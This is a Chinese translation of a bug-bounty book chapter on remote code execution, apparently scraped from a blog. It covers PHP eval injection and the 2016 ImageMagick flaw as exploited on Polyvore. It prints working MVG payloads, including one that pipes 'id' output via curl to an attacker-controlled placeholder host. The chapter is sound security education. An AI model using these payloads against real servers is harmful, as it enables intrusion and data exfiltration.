十五、代码执行

作者:Peter Yaworski

译者:飞龙

协议:CC BY-NC-SA 4.0

描述

远程代码执行是指注入由漏洞应用解释和执行的代码。这通常由用户提交输入,应用使用它而没有任何类型的处理或验证而导致。

看一下这行代码:

$var = $_GET['page'];
eval($var);

这里,漏洞应用可能使用 URLindex.php?page=1,但是,如果用于输入了index.php?page=1;phpinfo(),应用就会执行phpinfo函数,并返回其内容。

与之类似,远程代码执行有时用于指代命令注入,OWASP 区分了这两点。使用命令驻入,根据 OWASP,漏洞应用在主机操作系统上执行任何命令。同样,这也由不合理处理和验证用户输入导致,这会导致用户输入传递给操作系统的命令。

例如 PHP 中,这可能表现为用户输入传递给system函数。

示例

1. Polyvore ImageMagick

ImageMagick 是个软件包,通常用于处理图像,例如剪裁、缩放等等。 PHP 的 imagick、Ruby 的 rmagick 以及 paperclip,以及 NodeJs 的 imagemagick 都利用了它。在 2016 年 4 月,该库中发现了多个漏洞,其中可利用的漏洞之一就是执行远程代码,这就是我关注的。

简单来说,ImageMagick 并没有合理地传给他的过滤文件名称,并且最终用于执行system方法调用。因此,攻击者利益传入命令来执行,就像https://example.com”|ls“-la,它会被执行。一个来自 ImageMagick 的例子是:

convert 'https://example.com"|ls "-la' out.png

现在,有趣的是,ImageMagick 为 MVG(Magick Vectire Graphics)文件定义了自己的语法。所以,攻击者能够创建文件exploit.mvg,带有下列代码:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context

这之后会传给该库,并且如果站点存在漏洞,代码会执行并列出目录中的文件。

了解其背景之后,Ben Sadeghipour 测试了 Yahoo acquisition 站点以及 Polyvore 是否存在漏洞。就像他博文中所述,Ben 首先在它所控制的本地机器上测试了该漏洞,来确认mvg文件是否正常工作。这是他使用的代码:

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=`id | curl http://SOMEIPADDRESS:80
80/ -d @- > /dev/null`'
pop graphic-context

这里你可以看到,它使用了 CURL 库来调用 SOMEIPADDRESS(将其修改为你服务器的地址)。如果成功,你就会得到像这样的响应:

Ben Sadeghipour ImageMagick 测试的服务器响应

下面 Ben 浏览了 Polyvore,将文件上传为它的资料头像,并在它的服务器上收到了这个响应:

Ben Sadeghipour Polyvore ImageMagick 响应

重要结论

阅读是成功渗透的重要组成部分,这包括阅读软件漏洞和常见漏洞,以及披露(CVE 标识符)。当你碰到没有安装安全更新的站点时,了解之前的漏洞能够帮助你。这里, Yahoo 已经修补了服务器,但是没有正确完成(我找不到关于这是什么意思的解释)。一次你,了解 ImageMagick 漏洞让 Ben 特地以这个软件为目标,并得到了 $2000 的奖金。

总结

远程代码执行,就像其他漏洞一样,通常是用户输入没有合理验证和处理的结果。这里提供的例子中,ImageMagick 没有合理转义可能为恶意的内容。它和 Ben 对该漏洞的知识一起,让他能够特地寻找和测试一些漏洞站点。对于搜索这些类型的漏洞来说,没有简单的答案。要注意发布的 CVE,并且留意站点所使用的软件,它们可能会过时,也可能存在漏洞。

Web Hacking 101 中文版 十五、代码执行相关推荐

  1. Web Hacking 101 中文版 十八、内存(一)

    十八.内存 作者:Peter Yaworski 译者:飞龙 协议:CC BY-NC-SA 4.0 描述 缓冲区溢出是一个场景,其中程序向缓冲区或内容区域写入数据,写入的数据比实际分配的区域要多.使用冰 ...

  2. Web Hacking 101 中文版 十六、模板注入

    十六.模板注入 作者:Peter Yaworski 译者:飞龙 协议:CC BY-NC-SA 4.0 模板引擎是允许开发者或设计师在创建动态网页的时候,从数据展示中分离编程逻辑的工具.换句话说,除了拥 ...

  3. Web Hacking 101 中文版 十四、XML 外部实体注入(二)

    作者:Peter Yaworski 译者:飞龙 协议:CC BY-NC-SA 4.0 示例 1. Google 的读取访问 难度:中 URL:google.com/gadgets/directory? ...

  4. Web Hacking 101 中文版 十八、内存(二)

    2. Python Hotshot 模块 难度:高 URL:无 报告链接:http://bugs.python.org/issue24481 报告日期:2015.7.20 奖金:$500 描述: 像 ...

  5. Web Hacking 101 中文版 十、跨站脚本攻击(一)

    十.跨站脚本攻击 作者:Peter Yaworski 译者:飞龙 协议:CC BY-NC-SA 4.0 描述 跨站脚本,或者 XSS,涉及到站定包含非预期的 JavaScript 脚本代码,它随后传给 ...

  6. Web Hacking 101 中文版 十二、开放重定向漏洞

    十二.开放重定向漏洞 作者:Peter Yaworski 译者:飞龙 协议:CC BY-NC-SA 4.0 描述 根据 OWASP,开放重定向出现在应用接受参数并将用户重定向到该参数值,并且没有对该值 ...

  7. Web Hacking 101 中文版 十、跨站脚本攻击(二)

    4. 雅虎邮件存储型 XSS 难度:低 URL:Yahoo Mail 报告链接:https://klikki.fi/adv/yahoo.html 报告日期:2015.12.26 奖金:$10000 描 ...

  8. Web Hacking 101 中文版 十四、XML 外部实体注入(一)

    十四.XML 外部实体注入 作者:Peter Yaworski 译者:飞龙 协议:CC BY-NC-SA 4.0 XML 外部实体(XXE)漏洞涉及利用应用解析 XML 输入的方式,更具体来说,应用程 ...

  9. Web Hacking 101 中文版 九、应用逻辑漏洞(三)

    7. 绕过 Gitlab 的双因素认证 难度:中 URL:无 报告链接:https://hackerone.com/reports/128085 报告日期:2016.4.3 奖金:无 描述: 4 月 ...

最新文章

  1. 人群密度估计--CNN-based Cascaded Multi-task Learning of High-level Prior and Density Estimation for Crowd
  2. VS2005在编译项目时找不到Ceplatform和PLATFORMDEFINE变量
  3. 为什么 Git把 SVN拍在了沙滩上!
  4. git常用命令_10、Git常用命令
  5. 内联函数 error LNK2001: unresolved external symbol
  6. visual svn 搭建
  7. 【题解】守望者的逃离
  8. Maven安装配置操作方法
  9. linux系统如何备份系统软件,Linux系统如何备份
  10. 使用java 实现 word 转换成图片
  11. 淘宝运营,新链接和老连接如何做搜索,有什么区别?
  12. 解决执行hive语句时出现虚拟内存不够的问题
  13. 面试技巧:HR常问的70个问题回答技巧
  14. 什么是Oracle数据库伪列,ORA-00976: 此处不允许指定的伪列或运算符
  15. 不允许使用不完整的类型_孩子,我允许你不优秀,但我不允许你不努力!
  16. 为什么动漫比游戏建模精致?3大不同,一看就明白
  17. PC操作系统使用技巧
  18. 【ArcGIS教程】(1)带有经纬度的EXCEL数据如何转换为shp矢量数据?
  19. mongodb权限管理篇
  20. 云米、品钛、趣店等中概股领跌,多家公司股价创历史新低

热门文章

  1. 人机交互界面设计大作业_为什么说大多数UI设计、大数据、人工智能等培训班不靠谱?...
  2. 关于静态成员变量的谈论
  3. JLink v8固件丢失修复教程
  4. python购物程序_Python学习:购物程序
  5. pinctrl子系统和gpio子系统
  6. 网络性能优化(NAPI)
  7. 重叠面积_20天津中考试卷及答案(24题重叠面积画板制作教程)
  8. matlab的矩阵编译器,MATLAB引擎方式实现VC与MATLAB混合编程
  9. php7 验证url格式,url的组成格式为
  10. 快速入门RabbitMq,看这一篇就够了。